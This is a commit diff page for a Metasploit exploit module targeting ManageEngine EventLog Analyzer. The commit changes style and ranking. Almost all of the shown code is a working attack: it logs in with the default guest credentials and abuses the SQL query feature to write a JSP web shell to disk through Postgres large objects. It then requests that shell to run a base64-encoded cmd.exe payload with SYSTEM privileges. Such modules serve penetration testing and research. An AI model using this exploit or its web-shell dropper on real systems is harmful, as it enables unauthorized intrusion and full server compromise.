Skip to content

Commit 55f573b

Browse files
committed
Do code cleanup
1 parent c99444a commit 55f573b

File tree

1 file changed

+40
-41
lines changed

1 file changed

+40
-41
lines changed

modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb

Lines changed: 40 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -6,21 +6,23 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = ExcellentRanking
9+
Rank = ManualRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::FileDropper
1313
include Msf::Exploit::Powershell
1414

1515
def initialize(info={})
1616
super(update_info(info,
17-
'Name' => "ManageEngine EventLog Analyzer Remote Code Execution",
17+
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
1818
'Description' => %q{
19-
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer.
20-
Every authenticated user, including the default "guest" account can execute SQL queries directly
21-
on the underlaying Postres database server. The queries are executed as the "postgres" user
22-
which has full privileges and thus is able to write files to disk. This way a JSP payload
23-
can be uploaded and executed with SYSTEM privileges on the web server.
19+
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
20+
build 10060 and previous versions. Every authenticated user, including the default "guest"
21+
account can execute SQL queries directly on the underlying Postgres database server. The
22+
queries are executed as the "postgres" user which has full privileges and thus is able to
23+
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
24+
privileges on the web server. This module has been tested successfully on ManageEngine
25+
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
2426
},
2527
'License' => MSF_LICENSE,
2628
'Author' =>
@@ -29,29 +31,28 @@ def initialize(info={})
2931
],
3032
'References' =>
3133
[
32-
[ 'EDB', '38173' ],
34+
['EDB', '38173']
3335
],
3436
'Platform' => ['win'],
3537
'Arch' => ARCH_X86,
3638
'Targets' =>
3739
[
38-
['ManageEngine EventLog Analyzer', {}]
40+
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
3941
],
4042
'Privileged' => true,
41-
'DisclosureDate' => "Jul 11 2015",
43+
'DisclosureDate' => 'Jul 11 2015',
4244
'DefaultTarget' => 0))
4345

4446
register_options(
4547
[
4648
Opt::RPORT(8400),
4749
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
48-
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]),
49-
OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]),
50+
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
5051
], self.class)
5152
end
5253

5354
def uri
54-
return target_uri.path
55+
target_uri.path
5556
end
5657

5758

@@ -61,21 +62,20 @@ def check
6162

6263
res = send_request_cgi({
6364
'method' => 'GET',
64-
'uri' => normalize_uri(uri, "event", "index3.do")
65+
'uri' => normalize_uri(uri, 'event', 'index3.do')
6566
})
6667

67-
if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/
68+
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
6869
return Exploit::CheckCode::Detected
6970
else
7071
return Exploit::CheckCode::Safe
7172
end
7273
end
7374

74-
75-
def sql_query( cookies, query )
75+
def sql_query(cookies, query)
7676
res = send_request_cgi({
7777
'method' => 'POST',
78-
'uri' => normalize_uri(uri, "event", "runQuery.do"),
78+
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
7979
'cookie' => cookies,
8080
'vars_post' => {
8181
'execute' => 'true',
@@ -87,26 +87,26 @@ def sql_query( cookies, query )
8787
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
8888
end
8989

90-
return res
90+
res
9191
end
9292

9393

9494
def generate_jsp_payload(cmd)
9595

96-
decoder = rand_text_alphanumeric(4 + rand(32 - 4))
97-
decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4))
98-
cmd_array = rand_text_alphanumeric(4 + rand(32 - 4))
99-
jcode = "<%"
100-
jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
101-
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
102-
jcode << "String [] #{cmd_array} = new String[3];\n"
103-
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
104-
jcode << "#{cmd_array}[1] = \"/c\";\n"
105-
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
106-
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
107-
jcode << "%>"
108-
109-
return jcode
96+
decoder = rand_text_alpha(4 + rand(32 - 4))
97+
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
98+
cmd_array = rand_text_alpha(4 + rand(32 - 4))
99+
jsp_code = '<%'
100+
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
101+
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
102+
jsp_code << "String [] #{cmd_array} = new String[3];\n"
103+
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
104+
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
105+
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
106+
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
107+
jsp_code << '%>'
108+
109+
jsp_code
110110
end
111111

112112

@@ -115,7 +115,7 @@ def exploit
115115
print_status("#{peer} - Retrieving JSESSION ID")
116116
res = send_request_cgi({
117117
'method' => 'GET',
118-
'uri' => normalize_uri(uri, "event", "index3.do"),
118+
'uri' => normalize_uri(uri, 'event', 'index3.do'),
119119
})
120120

121121
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
@@ -128,7 +128,7 @@ def exploit
128128
print_status("#{peer} - Access login page")
129129
res = send_request_cgi({
130130
'method' => 'POST',
131-
'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"),
131+
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
132132
'vars_post' => {
133133
'forChecking' => 'null',
134134
'j_username' => datastore['USERNAME'],
@@ -171,11 +171,11 @@ def exploit
171171
print_status("#{peer} - Executing SQL queries")
172172

173173
# Remove large object in database, just in case it exists from previous exploit attempts
174-
sql = "SELECT lo_unlink(-1)"
174+
sql = 'SELECT lo_unlink(-1)'
175175
result = sql_query(cookies, sql)
176176

177177
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
178-
sql = "SELECT lo_create(-1)"
178+
sql = 'SELECT lo_create(-1)'
179179
result = sql_query(cookies, sql)
180180
if result.body =~ /menuItemRow\">([0-9]+)/
181181
loid = $1
@@ -196,7 +196,7 @@ def exploit
196196
sql_query(cookies, sql)
197197

198198
# Remove our large object in the database
199-
sql = "SELECT lo_unlink(-1)"
199+
sql = 'SELECT lo_unlink(-1)'
200200
result = sql_query(cookies, sql)
201201

202202
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
@@ -207,10 +207,9 @@ def exploit
207207
'uri' => normalize_uri(uri, jsp_name),
208208
})
209209

210-
sleep(datastore['WAIT'])
211-
212210
# If the server returns 200 we assume we uploaded and executed the payload file successfully
213-
if not res or res.code != 200
211+
unless res && res.code == 200
212+
print_status("#{res.code}\n#{res.body}")
214213
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
215214
end
216215

0 commit comments

Comments
 (0)